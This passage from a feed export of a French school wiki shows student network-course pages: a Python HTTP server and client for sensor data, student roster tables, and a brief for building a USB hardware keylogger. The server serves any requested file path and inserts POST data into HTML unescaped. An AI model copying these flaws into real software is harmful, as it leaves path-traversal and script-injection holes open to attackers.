           self.path = '/index.html'&lt;br /&gt;
&lt;br /&gt;
       if self.path == '/data':&lt;br /&gt;
&lt;br /&gt;
           self.send_response(200)&lt;br /&gt;
&lt;br /&gt;
           self.send_header('Content-type', 'application/json')&lt;br /&gt;
&lt;br /&gt;
           self.end_headers()&lt;br /&gt;
&lt;br /&gt;
           self.wfile.write(bytes(json.dumps(post_requests), 'utf-8'))&lt;br /&gt;
&lt;br /&gt;
           return&lt;br /&gt;
&lt;br /&gt;
if self.path == '/index.html':&lt;br /&gt;
&lt;br /&gt;
           self.send_response(200)&lt;br /&gt;
&lt;br /&gt;
           self.send_header('Content-type', 'text/html')&lt;br /&gt;
&lt;br /&gt;
           self.end_headers()&lt;br /&gt;
&lt;br /&gt;
           # Cr  er le contenu HTML avec les donn  es POST&lt;br /&gt;
&lt;br /&gt;
           content = '&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&amp;lt;h1&amp;gt;Donn  es POST:&amp;lt;/h1&amp;gt;&amp;lt;ul&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
           for item in post_requests:&lt;br /&gt;
&lt;br /&gt;
               content += f'&amp;lt;li&amp;gt;{item}&amp;lt;/li&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
           content += '&amp;lt;/ul&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
           self.wfile.write(content.encode('utf-8'))&lt;br /&gt;
&lt;br /&gt;
           return&lt;br /&gt;
&lt;br /&gt;
       try:&lt;br /&gt;
&lt;br /&gt;
file_to_open = open(self.path[1:]).read()&lt;br /&gt;
&lt;br /&gt;
           self.send_response(200)&lt;br /&gt;
&lt;br /&gt;
           self.send_header('Content-type', 'text/html')&lt;br /&gt;
&lt;br /&gt;
           self.end_headers()&lt;br /&gt;
&lt;br /&gt;
           self.wfile.write(bytes(file_to_open, 'utf-8'))&lt;br /&gt;
&lt;br /&gt;
       except FileNotFoundError:&lt;br /&gt;
&lt;br /&gt;
           self.send_error(404, 'File Not Found: %s' % self.path)&lt;br /&gt;
&lt;br /&gt;
   def do_POST(self):&lt;br /&gt;
&lt;br /&gt;
       content_length = int(self.headers['Content-Length'])&lt;br /&gt;
&lt;br /&gt;
       post_data = self.rfile.read(content_length).decode('utf-8')&lt;br /&gt;
&lt;br /&gt;
       # Ajouter les donn  es POST    la liste&lt;br /&gt;
&lt;br /&gt;
       post_requests.append(post_data)&lt;br /&gt;
&lt;br /&gt;
       # Envoyer une rponse HTTP&lt;br /&gt;
&lt;br /&gt;
       self.send_response(200)&lt;br /&gt;
&lt;br /&gt;
       self.end_headers()&lt;br /&gt;
&lt;br /&gt;
self.wfile.write(b&amp;quot;POST request processed&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
class HTTPServerV6(HTTPServer):&lt;br /&gt;
&lt;br /&gt;
   address_family = socket.AF_INET6&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
&lt;br /&gt;
   server_address = ('::', 8888)  #  ^icoute sur toutes les interfaces IPv6, p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
   httpd = HTTPServerV6(server_address, CustomHTTPHandler)&lt;br /&gt;
&lt;br /&gt;
   print(&amp;quot;Serveur actif sur le port&amp;quot;, 8888)&lt;br /&gt;
&lt;br /&gt;
   httpd.serve_forever() &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''Code du client Python :'''&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
import argparse                                                                                                                            &lt;br /&gt;
import requests                                                                                                                            &lt;br /&gt;
import json                                                                                                                                &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
def send_json_to_server(url, json_file):                                                                                                   &lt;br /&gt;
    # Charger les données CSV depuis le fichier spécifié                                                                                   &lt;br /&gt;
    with open(json_file, 'r') as file:                                                                                                     &lt;br /&gt;
        data = json.load(file)                                                                                                             &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # En-têtes spécifiant que vous envoyez du CSV                                                                                          &lt;br /&gt;
    headers = {'Content-Type': 'application/json'}                                                                                         &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # Envoie de la requête HTTP POST avec les données                                                                                      &lt;br /&gt;
    response = requests.post(url, data=json.dumps(data), headers=headers)                                                                  &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # Vérification de la réponse                                                                                                           &lt;br /&gt;
    if response.status_code == 200:                                                                                                        &lt;br /&gt;
        print('Requête envoyée avec succès!')                                                                                              &lt;br /&gt;
    else:                                                                                                                                  &lt;br /&gt;
        print(f'Erreur {response.status_code}: {response.text}')                                                                           &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:                                                                                                                 &lt;br /&gt;
    # Configurer les arguments en ligne de commande                                                                                        &lt;br /&gt;
    parser = argparse.ArgumentParser(description='Client Python pour envoyer des JSON via HTTP.')                                          &lt;br /&gt;
    parser.add_argument('url', type=str, help='URL du serveur')                                                                            &lt;br /&gt;
    parser.add_argument('json_file', type=str, help='Chemin vers le fichier JSON à envoyer')                                               &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # Analyser les arguments                                                                                                               &lt;br /&gt;
    args = parser.parse_args()                                                                                                             &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # Appeler la fonction pour envoyer le JSON au serveur                                                                                  &lt;br /&gt;
    send_json_to_server(args.url, args.json_file) &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''Index permettant d'afficher le json de test que nous avons envoyé au serveur :'''&amp;lt;syntaxhighlight lang=&amp;quot;html&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE html&amp;gt;&lt;br /&gt;
&amp;lt;html lang=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
    &amp;lt;meta charset=&amp;quot;UTF-8&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;title&amp;gt;Page d'Accueil&amp;lt;/title&amp;gt;&lt;br /&gt;
&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
    &amp;lt;h1&amp;gt;Bienvenue sur Mon Serveur&amp;lt;/h1&amp;gt;&lt;br /&gt;
    &amp;lt;h2&amp;gt;Données POST reçues:&amp;lt;/h2&amp;gt;&lt;br /&gt;
    &amp;lt;ul id=&amp;quot;data&amp;quot;&amp;gt;&lt;br /&gt;
        &amp;lt;!-- Les données POST seront listées ici --&amp;gt;&lt;br /&gt;
    &amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''Capture montrant l'affichage d'un fichier json (sans aucun sens) envoyé au serveur depuis le client :'''&lt;br /&gt;
[[Fichier:CaptureIndexBrenierNguyen.png|vignette|Démonstration du protocole HTTP]]&lt;br /&gt;
&lt;br /&gt;
== Code de récupération de donnée (sur la raspberry) ==&lt;br /&gt;
Nous avons le scénario suivant : le capteur qui envoie en continue les données de distance à la raspberry via la liaison série.&lt;br /&gt;
&lt;br /&gt;
Nous avons donc écrit un script python afin de récupérer ces données, les formatter dans un fichier format json dans le but de les envoyer sur la VM qui pourra traiter ces données avec l'émulateur obtenue via l'application NanoEdgeAI Studio.&lt;br /&gt;
&lt;br /&gt;
Nous allons vous expliquez le script que nous avons réalisés :&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_syst%C3%A8me/r%C3%A9seau_2023/2024&amp;diff=2057</id>
		<title>SE5 système/réseau 2023/2024</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_syst%C3%A8me/r%C3%A9seau_2023/2024&amp;diff=2057"/>
		<updated>2023-10-16T12:11:29Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : /* Répartition des binômes en ASR */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= PRA SE5 =&lt;br /&gt;
&lt;br /&gt;
== Menu de la première séance ==&lt;br /&gt;
&lt;br /&gt;
Pour la  première séance du 06/10/2023 il vous est demandé d'effectuer individuellement les opérations listées ci-dessous.&lt;br /&gt;
* création d'une machine virtuelle sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; ;&lt;br /&gt;
* création d'un conteneur &amp;quot;à la main&amp;quot; sur votre station de travail &amp;lt;code&amp;gt;zabeth&amp;lt;/code&amp;gt; :&lt;br /&gt;
** créez un conteneur isolé au maximum (sauf pour les utilisateur) avec la méthode décrite en cours,&lt;br /&gt;
** création d'un commutateur virtuel privé sur la &amp;lt;code&amp;gt;zabeth&amp;lt;/code&amp;gt; dans le réseau IPv4 &amp;lt;code&amp;gt;192.168.68.0/24&amp;lt;/code&amp;gt;, l'adresse &amp;lt;code&amp;gt;192.168.68.1&amp;lt;/code&amp;gt; est affectée au commutateur lui-même,&lt;br /&gt;
** création d'une interface Ethernet virtuelle, une extrémité doit être envoyée dans le conteneur, l'autre dans le commutateur virtuel privé,&lt;br /&gt;
** mise en place d'une mascarade sur la &amp;lt;code&amp;gt;zabeth&amp;lt;/code&amp;gt;, vérifiez que le conteneur a accès aux mêmes machines que la  &amp;lt;code&amp;gt;zabeth&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Par binôme vous devez créer une machine virtuelle mandataire connectée sur le commutateur virtuel SE5 et sur le commutateur virtuel privé des machines virtuelles de services concernées (voir deuxième section du sujet).&lt;br /&gt;
&lt;br /&gt;
Globalement vous devez configurer le routeur principal de la promotion (voir la troisième section du sujet). Pour votre promotion il s'agit du Catalyst 9200 situé en E304. Il faut le connecter en fibre vers le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; de la E306 dans le commutateur virtuel SE5 et aussi en fibre vers le local technique SR52 sur un port dans le VLAN 531. Vous pouvez configurer le commutateur via l'utilitaire &amp;lt;code&amp;gt;minicom&amp;lt;/code&amp;gt; à partir de la machine &amp;lt;code&amp;gt;zabeth09&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Répartition des élèves pour la première séance :&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Station de travail !! Elève&lt;br /&gt;
|-&lt;br /&gt;
| zabeth02 || Elias SIMON&lt;br /&gt;
|-&lt;br /&gt;
| zabeth03 || Mathis RIFFAUT&lt;br /&gt;
|-&lt;br /&gt;
| zabeth04 || Dann RODENBURG&lt;br /&gt;
|-&lt;br /&gt;
| zabeth05 || Benjamin NGUYEN&lt;br /&gt;
|-&lt;br /&gt;
| zabeth06 || Halaoui mohammed et rémi farault(absent)&lt;br /&gt;
|-&lt;br /&gt;
| zabeth07 || Blgrim Haitam&lt;br /&gt;
|-&lt;br /&gt;
| zabeth08 || Florian Vallée&lt;br /&gt;
|-&lt;br /&gt;
| zabeth09 (routeur) || Julien Charleux&lt;br /&gt;
|-&lt;br /&gt;
| zabeth10 || Amine SELLALI&lt;br /&gt;
|-&lt;br /&gt;
| zabeth11 || Paul Amoros&lt;br /&gt;
|-&lt;br /&gt;
| zabeth12 || Maël Delaby&lt;br /&gt;
|-&lt;br /&gt;
| zabeth13 || Black Baptiste&lt;br /&gt;
|-&lt;br /&gt;
| zabeth14 || Timothé Brenier&lt;br /&gt;
|-&lt;br /&gt;
| zabeth15 || Jeanne Delcourt&lt;br /&gt;
|-&lt;br /&gt;
| zabeth16 || Estelle Godard&lt;br /&gt;
|-&lt;br /&gt;
| zabeth17 || Jason DELANNOY&lt;br /&gt;
|-&lt;br /&gt;
| zabeth18 || Chloé Lemaire&lt;br /&gt;
|-&lt;br /&gt;
| zabeth19 || Gabriel THOMAS&lt;br /&gt;
|-&lt;br /&gt;
| zabeth20 || Albin MOUTON&lt;br /&gt;
|-&lt;br /&gt;
| zabeth21 || Konstantin PATRIKEEV&lt;br /&gt;
|-&lt;br /&gt;
| zabeth22 || Maxime Balbastre&lt;br /&gt;
|-&lt;br /&gt;
| zabeth26 || François NAUDOT&lt;br /&gt;
|-&lt;br /&gt;
| zabeth27 || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| zabeth28 || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| zabeth30 || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Répartition des binômes en PRA ==&lt;br /&gt;
&lt;br /&gt;
Concertez-vous pour trouver des noms de machines de services et de machines mandataires dans deux thèmes.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Nom machine services &lt;br /&gt;
!IP machine services !! Nom de domaine !! Nom machine mandataire &lt;br /&gt;
!IP machine mandataires!! Elève &lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E1 | Cahier n°1]]&lt;br /&gt;
| || || || || || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E2 | Cahier n°2]]&lt;br /&gt;
| Elom|| || || Baloo|| || Elias SIMON&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E3 | Cahier n°3]]&lt;br /&gt;
| Mustafar|| || || Baloo|| || Mathis RIFFAUT&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E4 | Cahier n°4]]&lt;br /&gt;
| Dagobah|| || || Aladin|| || Dann RODENBURG&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E5 | Cahier n°5]]&lt;br /&gt;
| Motis|| || || Dingo|| || mohammed halaoui&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E6 | Cahier n°6]]&lt;br /&gt;
| bogano|| || || Timon|| || Benjamin Nguyen&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E7 | Cahier n°7]]&lt;br /&gt;
| Takobo|| || || Timon|| || Timothé Brenier&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E8 | Cahier n°8]]&lt;br /&gt;
| Fondor|| || || mushu|| || Florian Vallée&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E9 | Cahier n°9]]&lt;br /&gt;
| hoth|| || || BlancheNeige|| || Haitam Blgrim&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E10 | Cahier n°10]]&lt;br /&gt;
| Abafar|| || || Aladin|| || Amine SELLALI&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E11 | Cahier n°11]]&lt;br /&gt;
| Rotia|| || || DIngo|| || Rémi farault&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E12 | Cahier n°12]]&lt;br /&gt;
| jedha|| || || judy|| || Julien Charleux&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E13 | Cahier n°13]]&lt;br /&gt;
| Bogden|| || || BlancheNeige|| || Black Baptiste&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E14 | Cahier n°14]]&lt;br /&gt;
| || || || || || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E15 | Cahier n°15]]&lt;br /&gt;
| jiruus|| || || cruella|| || Jeanne Delcourt&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E16 | Cahier n°16]]&lt;br /&gt;
| exegol|| || || cruella|| || Estelle Godard&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E17 | Cahier n°17]]&lt;br /&gt;
| Jakku|| || || Jafar|| || Jason DELANNOY&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E18 | Cahier n°18]]&lt;br /&gt;
| naboo|| || || bouh|| || Chloé Lemaire&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E19 | Cahier n°19]]&lt;br /&gt;
| geonosis|| || || bouh|| || Gabriel THOMAS&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E20 | Cahier n°20]]&lt;br /&gt;
| alderaan|| || || Jafar|| || Albin MOUTON&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E21 | Cahier n°21]]&lt;br /&gt;
| kesh|| || || Judy|| || Konstantin Patrikeev&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E22 | Cahier n°22]]&lt;br /&gt;
| kashyyyk|| || || mushu|| || Maxime BALBASTRE&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E23 | Cahier n°23]]&lt;br /&gt;
| Felucia|| || || || || François NAUDOT&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E24 | Cahier n°24]]&lt;br /&gt;
| || || || || || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Répartition des binômes en ASR ==&lt;br /&gt;
&lt;br /&gt;
Donnez les élèves dans chaque groupe.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Elèves&lt;br /&gt;
|-&lt;br /&gt;
| g1 || Prénom Nom &amp;amp; Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| g2 || Prénom Nom &amp;amp; Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| g3 || Timothé Brenier &amp;amp; Benjamin Nguyen&lt;br /&gt;
|-&lt;br /&gt;
| g4 || Dann Rodenburg &amp;amp; François Naudot&lt;br /&gt;
|-&lt;br /&gt;
| g5 || Prénom Nom &amp;amp; Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| g6 || Prénom Nom &amp;amp; Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu ==&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_syst%C3%A8me/r%C3%A9seau_2023/2024&amp;diff=1914</id>
		<title>SE5 système/réseau 2023/2024</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_syst%C3%A8me/r%C3%A9seau_2023/2024&amp;diff=1914"/>
		<updated>2023-10-06T14:08:11Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= PRA SE5 =&lt;br /&gt;
&lt;br /&gt;
== Menu de la première séance ==&lt;br /&gt;
&lt;br /&gt;
Pour la  première séance du 06/10/2023 il vous est demandé d'effectuer individuellement les opérations listées ci-dessous.&lt;br /&gt;
* création d'une machine virtuelle sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; ;&lt;br /&gt;
* création d'un conteneur &amp;quot;à la main&amp;quot; sur votre station de travail &amp;lt;code&amp;gt;zabeth&amp;lt;/code&amp;gt; :&lt;br /&gt;
** créez un conteneur isolé au maximum (sauf pour les utilisateur) avec la méthode décrite en cours,&lt;br /&gt;
** création d'un commutateur virtuel privé sur la &amp;lt;code&amp;gt;zabeth&amp;lt;/code&amp;gt; dans le réseau IPv4 &amp;lt;code&amp;gt;192.168.68.0/24&amp;lt;/code&amp;gt;, l'adresse &amp;lt;code&amp;gt;192.168.68.1&amp;lt;/code&amp;gt; est affectée au commutateur lui-même,&lt;br /&gt;
** création d'une interface Ethernet virtuelle, une extrémité doit être envoyée dans le conteneur, l'autre dans le commutateur virtuel privé,&lt;br /&gt;
** mise en place d'une mascarade sur la &amp;lt;code&amp;gt;zabeth&amp;lt;/code&amp;gt;, vérifiez que le conteneur a accès aux mêmes machines que la  &amp;lt;code&amp;gt;zabeth&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Par binôme vous devez créer une machine virtuelle mandataire connectée sur le commutateur virtuel SE5 et sur le commutateur virtuel privé des machines virtuelles de services concernées (voir deuxième section du sujet).&lt;br /&gt;
&lt;br /&gt;
Globalement vous devez configurer le routeur principal de la promotion (voir la troisième section du sujet). Pour votre promotion il s'agit du Catalyst 9200 situé en E304. Il faut le connecter en fibre vers le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; de la E306 dans le commutateur virtuel SE5 et aussi en fibre vers le local technique SR52 sur un port dans le VLAN 531. Vous pouvez configurer le commutateur via l'utilitaire &amp;lt;code&amp;gt;minicom&amp;lt;/code&amp;gt; à partir de la machine &amp;lt;code&amp;gt;zabeth09&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Répartition des élèves pour la première séance :&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Station de travail !! Elève&lt;br /&gt;
|-&lt;br /&gt;
| zabeth02 || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| zabeth03 || Mathis RIFFAUT&lt;br /&gt;
|-&lt;br /&gt;
| zabeth04 || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| zabeth05 || Benjamin NGUYEN&lt;br /&gt;
|-&lt;br /&gt;
| zabeth06 || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| zabeth07 || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| zabeth08 || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| zabeth09 (routeur) || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| zabeth10 || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| zabeth11 || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| zabeth12 || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| zabeth13 || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| zabeth14 || Timothé Brenier&lt;br /&gt;
|-&lt;br /&gt;
| zabeth15 || Jeanne Delcourt&lt;br /&gt;
|-&lt;br /&gt;
| zabeth16 || Estelle Godard&lt;br /&gt;
|-&lt;br /&gt;
| zabeth17 || Jason DELANNOY&lt;br /&gt;
|-&lt;br /&gt;
| zabeth18 || Chloé Lemaire&lt;br /&gt;
|-&lt;br /&gt;
| zabeth19 || Gabriel THOMAS&lt;br /&gt;
|-&lt;br /&gt;
| zabeth20 || Albin MOUTON&lt;br /&gt;
|-&lt;br /&gt;
| zabeth21 || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| zabeth22 || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| zabeth26 || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| zabeth27 || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| zabeth28 || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| zabeth30 || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Répartition des binômes ==&lt;br /&gt;
&lt;br /&gt;
Concertez-vous pour trouver des noms de machines de services et de machines mandataires dans deux thèmes.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Nom machine services &lt;br /&gt;
!IP machine services !! Nom de domaine !! Nom machine mandataire &lt;br /&gt;
!IP machine mandataires!! Elève &lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E1 | Cahier n°1]]&lt;br /&gt;
| || || || || || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E2 | Cahier n°2]]&lt;br /&gt;
| || || || || || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E3 | Cahier n°3]]&lt;br /&gt;
| || || || || || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E4 | Cahier n°4]]&lt;br /&gt;
| || || || || || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E5 | Cahier n°5]]&lt;br /&gt;
| || || || || || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E6 | Cahier n°6]]&lt;br /&gt;
| || || || || || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E7 | Cahier n°7]]&lt;br /&gt;
| || || || || || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E8 | Cahier n°8]]&lt;br /&gt;
| || || || || || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E9 | Cahier n°9]]&lt;br /&gt;
| || || || || || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E10 | Cahier n°10]]&lt;br /&gt;
| || || || || || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E11 | Cahier n°11]]&lt;br /&gt;
| || || || || || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E12 | Cahier n°12]]&lt;br /&gt;
| || || || || || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E13 | Cahier n°13]]&lt;br /&gt;
| || || || || || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E14 | Cahier n°14]]&lt;br /&gt;
| || || || || || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E15 | Cahier n°15]]&lt;br /&gt;
| || || || || || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E16 | Cahier n°16]]&lt;br /&gt;
| || || || || || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E17 | Cahier n°17]]&lt;br /&gt;
| || || || || || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E18 | Cahier n°18]]&lt;br /&gt;
| || || || || || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E19 | Cahier n°19]]&lt;br /&gt;
| || || || || || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E20 | Cahier n°20]]&lt;br /&gt;
| || || || || || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E21 | Cahier n°21]]&lt;br /&gt;
| || || || || || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E22 | Cahier n°22]]&lt;br /&gt;
| || || || || || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E23 | Cahier n°23]]&lt;br /&gt;
| || || || || || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E24 | Cahier n°24]]&lt;br /&gt;
| || || || || || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu ==&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=867</id>
		<title>SE4 2022/2023 EC5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=867"/>
		<updated>2023-08-16T17:12:25Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : /* Modification du Keylogger */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Objectifs =&lt;br /&gt;
&lt;br /&gt;
Il vous est demandé de : &lt;br /&gt;
* réaliser un keylogger en partant d'un prototype réalisé par un élève des années précédentes, ce prototype comporte :&lt;br /&gt;
** un microcontrôleur AT90USB647 pour pouvoir utiliser un projet LUFA en mode hôte,&lt;br /&gt;
** un microcontrôleur ATMega16u2 pour pouvoir utiliser un projet LUFA en mode périphérique,&lt;br /&gt;
** une mémoire flash pour pouvoir sauver les touches capturées ;&lt;br /&gt;
* commencez par écrire un programme, basé sur la démonstration LUFA bas-niveau Keyboard pour vérifier que la partie ATMega16u2 de la carte fonctionne ;&lt;br /&gt;
* poursuivez en vérifiant que vous avez accès, à partir de l'AT90USB647 à la carte mémoire AT45DB641E, vous pouvez vous baser sur le code des PeiP ;&lt;br /&gt;
* vous pourrez alors tester la démonstration LUFA hôte bas-niveau KeyboardHost ;&lt;br /&gt;
* enfin terminez en récupérant les symboles lus par l'AT90USB647 sur le clavier USB pour les transmettre par UART à l'ATMega16u2 puis au PC ;&lt;br /&gt;
* il reste à stocker les symboles au passage dans la mémoire flash et à prévoir une interface particulière sur l'ATMega16u2 pour récupérer les informations.&lt;br /&gt;
&lt;br /&gt;
= Matériel nécessaire =&lt;br /&gt;
